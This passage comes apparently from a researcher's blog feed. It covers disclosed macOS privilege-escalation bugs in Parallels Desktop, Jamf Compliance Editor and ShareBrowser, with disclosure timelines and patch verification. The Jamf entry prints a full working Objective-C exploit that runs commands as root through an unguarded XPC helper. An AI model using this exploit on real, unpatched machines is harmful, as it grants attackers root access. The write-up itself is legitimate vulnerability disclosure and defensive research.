<p>By complete accident, we noticed Parallels Desktop 19.3.1 had been released one morning on April 30th, 2024. We knew 19.3.0 didn’t include our fix, thus curious if perhaps 19.3.1 does.</p>

<p>When examining <code class="language-plaintext highlighter-rouge">repack_osx_install_app.sh</code>, we notice additional logic inside of <code class="language-plaintext highlighter-rouge">do_repack_createinstallmedia()</code>. Specifically a code signature check against <code class="language-plaintext highlighter-rouge">anchor apple</code> for <code class="language-plaintext highlighter-rouge">createinstallmedia</code> binary:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># verify createinstallmedia is Apple-signed</span>
/usr/bin/codesign <span class="nt">-v</span> <span class="nt">-R</span><span class="o">=</span><span class="s2">"anchor apple"</span> <span class="s2">"</span><span class="nv">$source_app</span><span class="s2">/Contents/Resources/createinstallmedia"</span>
<span class="k">if</span> <span class="o">[</span> <span class="nv">$?</span> <span class="nt">-ne</span> 0 <span class="o">]</span><span class="p">;</span> <span class="k">then
  </span><span class="nb">echo</span> <span class="s2">"'</span><span class="nv">$source_app</span><span class="s2">' is not signed."</span>
  <span class="k">return</span> <span class="nv">$ERR_UNEXPECTED</span>
<span class="k">fi</span>
</code></pre></div></div>

<ul>
  <li><code class="language-plaintext highlighter-rouge">anchor apple</code> is for verification of Apple-signed binaries, like <code class="language-plaintext highlighter-rouge">createinstallmedia</code>
    <ul>
      <li>Reference: <a href="https://developer.apple.com/library/archive/documentation/Security/Conceptual/CodeSigningGuide/RequirementLang/RequirementLang.html" target="_blank">Code Signing Requirement Language</a></li>
    </ul>
  </li>
</ul>

<p><img src="/images/posts/2024-05-30-CVE-2024-34331/AraxisMerge%20-%20Parallels.png" alt="" /></p>

<p>And now when we run our <a href="/Binaries/Parallels%20Repack/parallels_exploit.py" target="_blank"><code class="language-plaintext highlighter-rouge">parallels_exploit.py</code></a> again, it properly rejects our payload!</p>

<ul>
  <li>The vague error messaging matches Apple’s own a bit too well…</li>
</ul>

<p><img src="/images/posts/2024-05-30-CVE-2024-34331/Parallels%20Exploit%20-%2019.3.1.png" alt="" /></p>

<h2 id="conclusion">Conclusion</h2>

<p>A simple but fun exploit, and interesting to learn about the Set UID bit on files. Will be keeping an eye on S-Bit for future exploits.</p>

<p>Though shame Parallels doesn’t offer a bug bounty, especially being one of the most prominent virtualization solutions on macOS now since Apple Silicon. This only incentivizes researchers to sell exploits to make a living, rather than responsibly disclose them. I did discuss this with Parallels, however unknown if any changes will be made.</p>

<p>Ignoring all that, I also highly recommend others read Reno Robert’s report on their Parallels Exploit, lot of fun stuff in there:</p>
<ul>
  <li><a href="https://www.zerodayinitiative.com/blog/2023/4/5/bash-privileged-mode-vulnerabilities-in-parallels-desktop-and-cdpath-handling-in-macos" target="_blank">Bash Privileged-Mode Vulnerabilities in Parallels Desktop and CDPATH handing in macOS</a></li>
</ul>]]></content><author><name>Mykola Grymalyuk</name></author><category term="macOS" /><summary type="html"><![CDATA[Another day, another accidental exploit 🥳. This time abusing Parallels Desktop’s trust in macOS installers, gaining local privilege escalation!]]></summary></entry><entry><title type="html">CVE-2024-4395: Jamf Compliance Editor Privilege Escalation</title><link href="/macos/2024/05/01/CVE-2024-4395.html" rel="alternate" type="text/html" title="CVE-2024-4395: Jamf Compliance Editor Privilege Escalation" /><published>2024-05-01T13:00:00+00:00</published><updated>2024-05-01T13:00:00+00:00</updated><id>/macos/2024/05/01/CVE-2024-4395</id><content type="html" xml:base="/macos/2024/05/01/CVE-2024-4395.html"><![CDATA[<p>Hm seems I might be writing more security blog posts than I expected 🤔. Well anyways, I’m here with another exploit! This time with <a href="https://trusted.jamf.com/docs/establishing-compliance-baselines">Jamf Compliance Editor</a>, and local privilege escalation through an unguarded XPC service 🎉</p>

<p>And while this blog post is a demonstration of privilege escalation, <a href="https://trusted.jamf.com/docs/establishing-compliance-baselines">Jamf Compliance Editor</a> is genuinely a great free tool! Highly recommend it for anyone looking to <a href="https://support.apple.com/en-ca/guide/certifications/apc322685bb2/web">create compliance baselines for macOS</a>.</p>

<hr />

<ul>
  <li>Resolved version: v1.3.1 and newer
    <ul>
      <li>Official Source: <a href="https://trusted.jamf.com/docs/establishing-compliance-baselines">Establishing Compliance Baselines</a></li>
      <li>Mirrors:
        <ul>
          <li><a href="https://archive.org/download/jamf-compliance-editor-v-1.3/v1.3.1/JamfComplianceEditor%20v1.3.1.pkg">Archive.org</a></li>
        </ul>
      </li>
    </ul>
  </li>
  <li>Affected versions: v1.3 and older
    <ul>
      <li>Mirrors:
        <ul>
          <li><a href="https://archive.org/download/jamf-compliance-editor-v-1.3/v1.3/Jamf%20Compliance%20Editor%20v1.3.tar">Archive.org</a></li>
        </ul>
      </li>
    </ul>
  </li>
  <li>Proof of Concept:
    <ul>
      <li>Source Code: <a href="/Binaries/Jamf%20Compliance%20Editor/jce_exploit.m">jce_exploit.m</a></li>
      <li>Video Demo: <a href="/Binaries/Jamf%20Compliance%20Editor/Exploit%20Demo.mov">Exploit Demo.mov</a></li>
    </ul>
  </li>
  <li>CVE Associated: CVE-2024-4395</li>
  <li>Compensation: $500 USD</li>
</ul>

<hr />

<ul>
  <li><a href="#discovering-the-vulnerability">Discovering the vulnerability</a></li>
  <li><a href="#fun-fact-you-need-to-actually-use-the-apps-youre-reversing-sometimes">Fun Fact: You need to actually use the apps you’re reversing sometimes</a></li>
  <li><a href="#creating-a-proof-of-concept">Creating a Proof of Concept</a></li>
  <li><a href="#reporting-process">Reporting Process</a></li>
  <li><a href="#a-vendor-that-listens">A vendor that listens?!?</a></li>
  <li><a href="#verifying-jamfs-work">Verifying Jamf’s work</a></li>
  <li><a href="#conclusion">Conclusion</a></li>
</ul>

<h2 id="discovering-the-vulnerability">Discovering the vulnerability</h2>

<p>So I have this very, very bad habit. Every application I download, I reverse engineer it to get an idea of how it works… This becomes a problem when I have actual work to do, like researching NIST compliance at work.</p>

<p>Well, that’s how I found <a href="https://trusted.jamf.com/docs/establishing-compliance-baselines">Jamf Compliance Editor</a>, an amazing GUI application that handles the creation of baselines and even performs audits of your machine.</p>

<p>When I downloaded it, I checked to see what files were bundled inside. Here I noticed a Launch Daemon, which intrigued me:</p>

<p><img src="/images/posts/2024-05-01-CVE-2024-4395/JCE%201.3%20-%20Directory.png" alt="" /></p>

<p>Following the Launch Daemon’s <code class="language-plaintext highlighter-rouge">BundleProgram</code> property, we see it points to <code class="language-plaintext highlighter-rouge">Contents/Resources/com.jamf.complianceeditor.helper</code>. When I opened this XPC executable up in Hopper Disassembler, my first thought was “I wonder how Jamf performs client validation, maybe they have a neat method”:</p>

<p><img src="/images/posts/2024-05-01-CVE-2024-4395/JCE%201.3%20-%20Hopper%20-%20shouldAccept.png" alt="" /></p>

<p>Wait a minute, there’s a problem here… Where’s the client validation?</p>

<ul>
  <li>See these many amazing blogs and presentations on why that’s terrifying:
    <ul>
      <li><a href="https://wojciechregula.blog/post/learn-xpc-exploitation-part-1-broken-cryptography/">Wojciech Reguła: Learn XPC exploitation - Broken cryptography</a></li>
      <li><a href="https://objectivebythesea.org/v3/talks/OBTS_v3_wReguła.pdf">Wojciech Reguła: Abusing &amp; Securing XPC in macOS apps</a></li>
      <li><a href="https://theevilbit.github.io/posts/secure_coding_xpc_part3/">Csaba Fitzl: CVE-2020-0984 - Secure coding XPC Services</a></li>
      <li><a href="https://obdev.at/blog/what-we-have-learned-from-a-vulnerability/">Christian S: The Story Behind CVE-2019-13013</a></li>
      <li><a href="https://erikberglund.github.io/2016/No_Privileged_Helper_Tool_Left_Behind/">Erik Berglund: No Privileged Helper Tool Left Behind</a></li>
    </ul>
  </li>
</ul>

<h2 id="fun-fact-you-need-to-actually-use-the-apps-youre-reversing-sometimes">Fun Fact: You need to actually use the apps you’re reversing sometimes</h2>

<p>Once I found that the XPC service lacked any client validation, I started to believe it was an unused binary. “No way, Jamf wouldn’t forget to do validation”. However as I was reversing the core binary more, <code class="language-plaintext highlighter-rouge">Contents/MacOS/Jamf Compliance Editor</code>, I found that under <code class="language-plaintext highlighter-rouge">sub_100012060</code> the application does implement a code path to install the helper service:</p>

<p><img src="/images/posts/2024-05-01-CVE-2024-4395/JCE%201.3%20-%20Hopper%20-%20sub_100012060.png" alt="" /></p>

<p>However, when I first opened Jamf Compliance Editor, no launch services were installed… How do I get this code path to kick in then?</p>

<p>Well after more time than I’d like to admit, I figured out the launch service is only installed if you perform an audit on the host. Otherwise, Jamf will just create all the baselines as the current user.</p>

<p>Steps to load the daemon:</p>
<ol>
  <li>Run Jamf Compliance Editor</li>
  <li>Create a new project</li>
  <li>Create Guidance</li>
  <li>Perform audit</li>
</ol>

<p>Step 4 is greyed out until a Guidance is created first:
<img src="/images/posts/2024-05-01-CVE-2024-4395/JCE%201.3%20-%20Create%20Guidance.png" alt="" /></p>

<p>And now the daemon is trying to be loaded!
<img src="/images/posts/2024-05-01-CVE-2024-4395/JCE%201.3%20-%20Loading%20Daemon.png" alt="" /></p>

<h2 id="creating-a-proof-of-concept">Creating a Proof of Concept</h2>

<p>Now that I confirmed the XPC service is being used, the next issue is actually proving it’s exploitable. Within the XPC’s helper class, I found this fun function:</p>

<div class="language-objc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">-</span><span class="p">[</span><span class="n">com_jamf_complianceeditor_helper</span><span class="p">.</span><span class="n">Helper</span> <span class="nf">executeScriptAt</span><span class="p">:</span><span class="nf">arguments</span><span class="p">:</span><span class="n">then</span><span class="o">:</span><span class="p">]</span>
</code></pre></div></div>
<p><img src="/images/posts/2024-05-01-CVE-2024-4395/JCE%201.3%20-%20Hopper%20-%20executeScriptAt.png" alt="" /></p>

<p>An easy demonstration of local privilege escalation!</p>

<p>Now throw this into a quick Obj-C script (shout out to <a href="https://hackerone.com/reports/980876">Csaba Fitzl’s CVE-2021-26718</a> for the basis!) and we’re off to the races:</p>
<ul>
  <li><a href="/Binaries/Jamf%20Compliance%20Editor/jce_exploit.m">jce_exploit.m</a>
    <ul>
      <li>Note the rendered version below is simplified, the actual file contains the optional ability to pass custom commands to run as root.</li>
    </ul>
  </li>
</ul>

<div class="language-objc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*

Jamf Compliance Editor Helper Service - Local Privilege Escalation

------------------------------------------------------------------

Discovered by Mykola Grymalyuk of RIPEDA Consulting

------------------------------------------------------------------

Compile Steps:

   clang -framework Foundation -o jce_exploit jce_exploit.m

------------------------------------------------------------------

Exploit based on Csaba Fitzl's CVE-2021-26718:
- https://hackerone.com/reports/980876
*/</span>

<span class="cp">#import &lt;Foundation/Foundation.h&gt;
</span>

<span class="k">static</span> <span class="n">NSString</span><span class="o">*</span> <span class="n">kXPCHelperMachServiceName</span> <span class="o">=</span> <span class="s">@"com.jamf.complianceeditor.helper"</span><span class="p">;</span>

<span class="k">@protocol</span> <span class="nc">HelperExecutionService</span> <span class="o">&lt;</span><span class="n">NSObject</span><span class="o">&gt;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">executeScriptAt</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">scriptPath</span> <span class="nf">arguments</span><span class="p">:(</span><span class="n">NSArray</span><span class="o">&lt;</span><span class="n">NSString</span> <span class="o">*&gt;</span> <span class="o">*</span><span class="p">)</span><span class="nv">arguments</span> <span class="nf">then</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSString</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="n">NSError</span> <span class="o">*</span><span class="n">error</span><span class="p">))</span><span class="nv">completionHandler</span><span class="p">;</span>
<span class="k">@end</span>


<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
    <span class="k">@autoreleasepool</span> <span class="p">{</span>

        <span class="n">__block</span> <span class="kt">int</span> <span class="n">returnCode</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">NSString</span><span class="o">*</span> <span class="n">serviceName</span> <span class="o">=</span> <span class="n">kXPCHelperMachServiceName</span><span class="p">;</span>
        <span class="n">NSLog</span><span class="p">(</span><span class="s">@"Exploiting service: %@"</span><span class="p">,</span> <span class="n">serviceName</span><span class="p">);</span>

        <span class="n">NSXPCConnection</span><span class="o">*</span> <span class="n">serviceConnection</span> <span class="o">=</span> <span class="p">[[</span><span class="n">NSXPCConnection</span> <span class="nf">alloc</span><span class="p">]</span> <span class="nf">initWithMachServiceName</span><span class="p">:</span><span class="n">serviceName</span> <span class="nf">options</span><span class="p">:</span><span class="n">NSXPCConnectionPrivileged</span><span class="p">];</span>

        <span class="p">[</span><span class="n">serviceConnection</span> <span class="nf">setRemoteObjectInterface</span><span class="p">:[</span><span class="n">NSXPCInterface</span> <span class="nf">interfaceWithProtocol</span><span class="p">:</span><span class="k">@protocol</span><span class="err">(</span><span class="nc">HelperExecutionService</span><span class="p">)]];</span>
        <span class="p">[</span><span class="n">serviceConnection</span> <span class="nf">resume</span><span class="p">];</span>

        <span class="n">id</span> <span class="n">service</span> <span class="o">=</span> <span class="p">[</span><span class="n">serviceConnection</span> <span class="nf">remoteObjectProxyWithErrorHandler</span><span class="p">:</span><span class="o">^</span><span class="p">(</span><span class="n">NSError</span><span class="o">*</span> <span class="n">error</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">NSLog</span><span class="p">(</span><span class="s">@"Error connecting: %@"</span><span class="p">,</span> <span class="n">error</span><span class="p">);</span>
            <span class="n">returnCode</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
            <span class="n">exit</span><span class="p">(</span><span class="n">returnCode</span><span class="p">);</span>
        <span class="p">}];</span>

        <span class="n">NSString</span> <span class="o">*</span><span class="n">command</span> <span class="o">=</span> <span class="s">@"/usr/bin/whoami"</span><span class="p">;</span>
        <span class="n">NSArray</span> <span class="o">*</span><span class="n">arguments</span> <span class="o">=</span> <span class="p">@[];</span>

        <span class="n">NSLog</span><span class="p">(</span><span class="s">@"Executing '%@'"</span><span class="p">,</span> <span class="n">command</span><span class="p">);</span>

        <span class="p">[</span><span class="n">service</span> <span class="nf">executeScriptAt</span><span class="p">:</span><span class="n">command</span> <span class="nf">arguments</span><span class="p">:</span><span class="n">arguments</span> <span class="n">then</span><span class="o">:^</span><span class="p">(</span><span class="n">NSString</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="n">NSError</span> <span class="o">*</span><span class="n">error</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">error</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">NSLog</span><span class="p">(</span><span class="s">@"Error: %@"</span><span class="p">,</span> <span class="n">error</span><span class="p">);</span>
                <span class="n">returnCode</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
            <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
                <span class="n">NSLog</span><span class="p">(</span><span class="s">@"Result: %@"</span><span class="p">,</span> <span class="n">result</span><span class="p">);</span>
            <span class="p">}</span>
            <span class="p">[</span><span class="n">serviceConnection</span> <span class="nf">invalidate</span><span class="p">];</span>
            <span class="n">exit</span><span class="p">(</span><span class="n">returnCode</span><span class="p">);</span>
        <span class="p">}];</span>

        <span class="p">[[</span><span class="n">NSRunLoop</span> <span class="nf">currentRunLoop</span><span class="p">]</span> <span class="nf">run</span><span class="p">];</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>And with that, the exploit works!
<img src="/images/posts/2024-05-01-CVE-2024-4395/Exploit%20-%20Demo.png" alt="" /></p>

<h2 id="reporting-process">Reporting Process</h2>

<p>Following the <a href="https://www.jamf.com/security/vulnerability-disclosure/">Jamf Vulnerability Disclosure Program</a>, we advised Jamf to add <a href="https://developer.apple.com/documentation/foundation/nsxpcconnection/3943309-setcodesigningrequirement?language=objc"><code class="language-plaintext highlighter-rouge">setCodeSigningRequirement</code></a> during the client connection process. Do note that <code class="language-plaintext highlighter-rouge">setCodeSigningRequirement</code> requires macOS 13.0, Ventura, or newer to use, which Jamf Compliance Editor already requires as a minimum. If your XPC service requires older OS support, use <a href="https://developer.apple.com/documentation/security/1396726-seccodecheckvalidity?language=objc"><code class="language-plaintext highlighter-rouge">SecCodeCheckValidity</code></a>.</p>

<ul>
  <li>Also notice the triage time? 3 minutes!!!</li>
</ul>

<table>
  <thead>
    <tr>
      <th style="text-align: left">Sender</th>
      <th style="text-align: left">Topic</th>
      <th style="text-align: left">Date</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left">RIPEDA</td>
      <td style="text-align: left">Initial Report - 90+30 Day Disclosure</td>
      <td style="text-align: left">1:45pm - February 21st, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">Jamf</td>
      <td style="text-align: left">Triaged, severity P2</td>
      <td style="text-align: left">1:48pm - February 21st, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">Jamf</td>
      <td style="text-align: left">Author of program notified, confirmed patch within 90 days</td>
      <td style="text-align: left">2:07pm - February 21st, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">Jamf</td>
      <td style="text-align: left">Patch created, ready to test</td>
      <td style="text-align: left">February 23rd, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">RIPEDA</td>
      <td style="text-align: left">Verified patch works, request for PKG distribution</td>
      <td style="text-align: left">February 23rd, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">Jamf</td>
      <td style="text-align: left">Confirmed PKG in process of being signed and notarized</td>
      <td style="text-align: left">February 29th, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">Jamf</td>
      <td style="text-align: left">Final PKG created, ready to test</td>
      <td style="text-align: left">March 14th, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">RIPEDA</td>
      <td style="text-align: left">Confirmed PKG resolves issue</td>
      <td style="text-align: left">March 15th, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">Jamf</td>
      <td style="text-align: left">JCE 1.3.1 releases</td>
      <td style="text-align: left">March 19th, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">Jamf</td>
      <td style="text-align: left">Notified us of 1.3.1</td>
      <td style="text-align: left">March 20th, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">Jamf</td>
      <td style="text-align: left">Slack message crediting us</td>
      <td style="text-align: left">March 22nd, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">RIPEDA</td>
      <td style="text-align: left">Reminded 30 day disclosure approaching, providing blog draft</td>
      <td style="text-align: left">April 15th, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">Jamf</td>
      <td style="text-align: left">Awarded $500 USD</td>
      <td style="text-align: left">April 15th, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">RIPEDA</td>
      <td style="text-align: left">Inquiring on CVE ID status</td>
      <td style="text-align: left">April 30th, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">Jamf</td>
      <td style="text-align: left">Waiting on CVE process</td>
      <td style="text-align: left">April 30th, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">Jamf</td>
      <td style="text-align: left">CVE-2024-4395 assigned</td>
      <td style="text-align: left">May 1st, 2024</td>
    </tr>
  </tbody>
</table>

<h2 id="a-vendor-that-listens">A vendor that listens?!?</h2>

<p>When we got the initial Jamf Compliance Editor fix, we raised a vulnerability concern related to the upgrade flow. Specifically if a user downloads 1.3.1 and replaces the app in <code class="language-plaintext highlighter-rouge">/Applications</code>, the vulnerable XPC service would still be active until it’s either either manually reloaded or the system reboots.</p>

<p>We proposed a solution through PKG distribution, and employing <a href="https://scriptingosx.com/2017/05/relocatable-package-installers-and-quickpkg-update/">pkgutil’s relocation support</a>.</p>

<p>The surprising part? They listened!</p>

<h2 id="verifying-jamfs-work">Verifying Jamf’s work</h2>

<p>Now when we load up v1.3.1’s XPC service, we see <code class="language-plaintext highlighter-rouge">shouldAcceptNewConnection</code> has a new function call:</p>

<p><img src="/images/posts/2024-05-01-CVE-2024-4395/JCE%201.3.1%20-%20Hopper%20-%20shouldAccept.png" alt="" /></p>

<p>Following it, we see Jamf has implemented the <a href="https://developer.apple.com/documentation/foundation/nsxpcconnection/3943309-setcodesigningrequirement?language=objc"><code class="language-plaintext highlighter-rouge">setCodeSigningRequirement</code></a> API which will verify the client against the following code signature:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>anchor apple generic and identifier \"com.jamf.complianceeditor\" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists  */ and certificate leaf[subject.OU] = \"483DWKW443\")
</code></pre></div></div>

<ul>
  <li>Breakdown:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">anchor apple generic</code>: Signed by Apple issued signing certificate</li>
      <li><code class="language-plaintext highlighter-rouge">com.jamf.complianceeditor</code>: Client Application Bundle Identifier</li>
      <li><code class="language-plaintext highlighter-rouge">certificate leaf[field.1.2.840.113635.100.6.1.9]</code>: Mac App Store</li>
      <li><code class="language-plaintext highlighter-rouge">certificate 1[field.1.2.840.113635.100.6.2.6]</code>: Developer ID Certificate</li>
      <li><code class="language-plaintext highlighter-rouge">certificate leaf[field.1.2.840.113635.100.6.1.13]</code>: Developer ID Leaf</li>
      <li><code class="language-plaintext highlighter-rouge">certificate leaf[subject.OU] = \"483DWKW443\"</code>: Jamf Team ID</li>
    </ul>
  </li>
  <li>References:
    <ul>
      <li><a href="https://developer.apple.com/library/archive/documentation/Security/Conceptual/CodeSigningGuide/RequirementLang/RequirementLang.html">Code Signing Requirement Language</a></li>
      <li><a href="https://github.com/apple-oss-distributions/Security/blob/ef677c3d667a44e1737c1b0245e9ed04d11c51c1/securityd/src/clientid.cpp#L170-L194">clientid.cpp</a></li>
      <li><a href="https://github.com/apple-oss-distributions/libsecurity_codesigning/blob/f2cc42c7b45d1c0d69f1551bd5b84adccf5fa821/lib/syspolicy.sql#L110-L122">syspolicy.sql</a></li>
    </ul>
  </li>
</ul>

<p><img src="/images/posts/2024-05-01-CVE-2024-4395/JCE%201.3.1%20-%20Hopper%20-%20setCodeSigning.png" alt="" /></p>

<p>And when we compare this to the main app’s code requirements, they match!</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/usr/bin/codesign --display --requirements - "/Applications/Jamf Compliance Editor.app"
</code></pre></div></div>
<p><img src="/images/posts/2024-05-01-CVE-2024-4395/Code%20Requirement.png" alt="" /></p>

<p>Now when we run our exploit, it fails as we’d expect 🎉
<img src="/images/posts/2024-05-01-CVE-2024-4395/Exploit%20-%20Patched.png" alt="" /></p>

<h2 id="conclusion">Conclusion</h2>

<p>I have to say, this disclosure process was one of the best I’ve dealt with to date. My only real “critiques” were lack of compensation originally (which they later gave!) and proper credit initially (which after a request, we got a <a href="https://macadmins.slack.com/archives/C0158JKQTC5/p1711133060288599">shout-out on the MacAdmin’s Slack</a> with plans to credit us in the changelog on CVE publication!).</p>

<p>Happy to say we now have more secure MacAdmin software than before! 🎉</p>]]></content><author><name>Mykola Grymalyuk</name></author><category term="macOS" /><summary type="html"><![CDATA[Hm seems I might be writing more security blog posts than I expected 🤔. Well anyways, I’m here with another exploit! This time with Jamf Compliance Editor, and local privilege escalation through an unguarded XPC service 🎉]]></summary></entry><entry><title type="html">CVE-2023-44077: ShareBrowser Privilege Escalation</title><link href="/macos/2024/01/18/CVE-2023-44077.html" rel="alternate" type="text/html" title="CVE-2023-44077: ShareBrowser Privilege Escalation" /><published>2024-01-18T13:00:00+00:00</published><updated>2024-01-18T13:00:00+00:00</updated><id>/macos/2024/01/18/CVE-2023-44077</id><content type="html" xml:base="/macos/2024/01/18/CVE-2023-44077.html"><![CDATA[<p>A bit of a tangent from my usual work, but here with a fun one: <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-44077">CVE-2023-44077</a>! A privilege escalation vulnerability in <a href="https://www.studionetworksolutions.com">Studio Network Solution</a>’s <a href="https://www.studionetworksolutions.com/sharebrowser/">ShareBrowser application</a>, thanks to unguarded XPC services 🎉.</p>

<ul>
  <li>Resolved version: <a href="https://support.studionetworksolutions.com/hc/en-us/articles/22494658980244-ShareBrowser-v-7-0-Released">v7.0 and newer</a></li>
  <li>Affected versions: v6.1.5.27 and older
    <ul>
      <li>Reference build:
        <ul>
          <li><a href="https://www.snsftp.com/guest/sharebrowser/6.1.5/ShareBrowserDesktop_v6.1.5.27.dmg">Official</a></li>
        </ul>
      </li>
      <li><a href="https://archive.org/details/share-browser-desktop-v-6.1.5.27">Archive.org</a></li>
    </ul>
  </li>
  <li>CVE Associated: <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-44077">CVE-2023-44077</a></li>
</ul>

<hr />

<ul>
  <li><a href="#examining-sharebrowsers-bundled-launch-services">Examining ShareBrowser’s bundled launch services</a></li>
  <li><a href="#digging-deeper-into-xpc-services">Digging deeper into XPC services</a></li>
  <li><a href="#possible-solutions">Possible solutions</a></li>
  <li><a href="#reporting-process">Reporting process</a></li>
  <li><a href="#verifying-the-updated-bundles">Verifying the updated bundles</a></li>
  <li><a href="#conclusion">Conclusion</a></li>
</ul>

<h2 id="examining-sharebrowsers-bundled-launch-services">Examining ShareBrowser’s bundled launch services</h2>

<p>To start off, we’ll install ShareBrowser’s macOS client (v6.1.5.27) and check what launch services our Virtual Machine registers:</p>

<p><img src="/images/posts/2024-01-18-CVE-2023-44077/ShareBrowser-Daemons.png" alt="" /></p>

<p>If we examine one of these daemons, for example <code class="language-plaintext highlighter-rouge">com.sns.evo-slingshot-helper.plist</code>, we see that it exposes a Mach Service for processes to attach onto:</p>

<p><img src="/images/posts/2024-01-18-CVE-2023-44077/slingshot-helper-daemon.png" alt="" /></p>

<p>When we look at the rest of the services, we see 3 out of 5 of them expose a Mach Service:</p>

<table>
  <thead>
    <tr>
      <th style="text-align: left">Service</th>
      <th style="text-align: left">Variant</th>
      <th style="text-align: left">Exposed XPC service</th>
      <th style="text-align: left">Running as root</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left">com.sns.sbdccommunicationhelper.plist</td>
      <td style="text-align: left">Agent</td>
      <td style="text-align: left">sbdccommunicationhelper</td>
      <td style="text-align: left">No</td>
    </tr>
    <tr>
      <td style="text-align: left">com.sns.evo-slingshot-helper.plist</td>
      <td style="text-align: left">Daemon</td>
      <td style="text-align: left">EvoSlingshotHelper</td>
      <td style="text-align: left">YES</td>
    </tr>
    <tr>
      <td style="text-align: left">com.sns.sbdcmounthelper.plist</td>
      <td style="text-align: left">Daemon</td>
      <td style="text-align: left">sbdcmounthelper</td>
      <td style="text-align: left">YES</td>
    </tr>
    <tr>
      <td style="text-align: left">com.sns.sbdiskservice.plist</td>
      <td style="text-align: left">Daemon</td>
      <td style="text-align: left"> </td>
      <td style="text-align: left">YES</td>
    </tr>
    <tr>
      <td style="text-align: left">com.sns.sbhmdimporter.plist</td>
      <td style="text-align: left">Daemon</td>
      <td style="text-align: left"> </td>
      <td style="text-align: left">YES</td>
    </tr>
  </tbody>
</table>

<h2 id="digging-deeper-into-xpc-services">Digging deeper into XPC services</h2>

<p>Now that we found some launch services with exposed Mach services, let’s take a peek inside how one works.</p>

<p>We’ll load up <code class="language-plaintext highlighter-rouge">/Library/EVO ShareBrowser/EvoSlingshotHelper</code> into Hopper Disassembler, and take a peek at <code class="language-plaintext highlighter-rouge">-[BaseSlingshotService listener:shouldAcceptNewConnection:]</code>:</p>

<p><img src="/images/posts/2024-01-18-CVE-2023-44077/evo_should_accept_connection.png" alt="" /></p>

<p>Those who have worked with XPCs before might be having PTSD right now. For those who don’t, let me explain.</p>

<p>In an XPC service’s <code class="language-plaintext highlighter-rouge">shouldAcceptNewConnection</code> method, there should be some form of validation performed before blindly accepting a connection. Why this is important is that anything that connects will gain the abilities of that service. This includes the elevated privileges and XPC functions that might include sensitive information.</p>

<p>For ShareBrowser’s <code class="language-plaintext highlighter-rouge">EvoSlingshotHelper</code> specifically, this daemon has process calls, API calls, user credentials processing, etc inside. And since this application is written in Objective-C, it’s inherently at risk of memory safety bugs and potentially vulnerable to additional attacks such as buffer overflows for arbitrary code execution as root.</p>

<p>Now add this with <code class="language-plaintext highlighter-rouge">sbdccommunicationhelper</code> and <code class="language-plaintext highlighter-rouge">sbdcmounthelper</code>, we have a fun trio of potentially vulnerable services.</p>

<h2 id="possible-solutions">Possible solutions</h2>

<p>Thanks to some amazing posts by <a href="https://wojciechregula.blog">Wojciech Reguła</a>, <a href="https://theevilbit.github.io">Csaba Fitzl</a>, <a href="https://erikberglund.github.io">Erik Berglund</a> and <a href="https://obdev.at/index.html">Christian from Objective Development</a>, we have some great resources to understand both the severity and solutions to ShareBrowser’s issues:</p>

<ul>
  <li><a href="https://wojciechregula.blog/post/learn-xpc-exploitation-part-1-broken-cryptography/">Learn XPC exploitation - Broken cryptography</a></li>
  <li><a href="https://objectivebythesea.org/v3/talks/OBTS_v3_wReguła.pdf">Abusing &amp; Securing XPC in macOS apps</a></li>
  <li><a href="https://theevilbit.github.io/posts/secure_coding_xpc_part3/">CVE-2020-0984 - Secure coding XPC Services</a></li>
  <li><a href="https://obdev.at/blog/what-we-have-learned-from-a-vulnerability/">The Story Behind CVE-2019-13013</a></li>
  <li><a href="https://erikberglund.github.io/2016/No_Privileged_Helper_Tool_Left_Behind/">No Privileged Helper Tool Left Behind</a></li>
</ul>

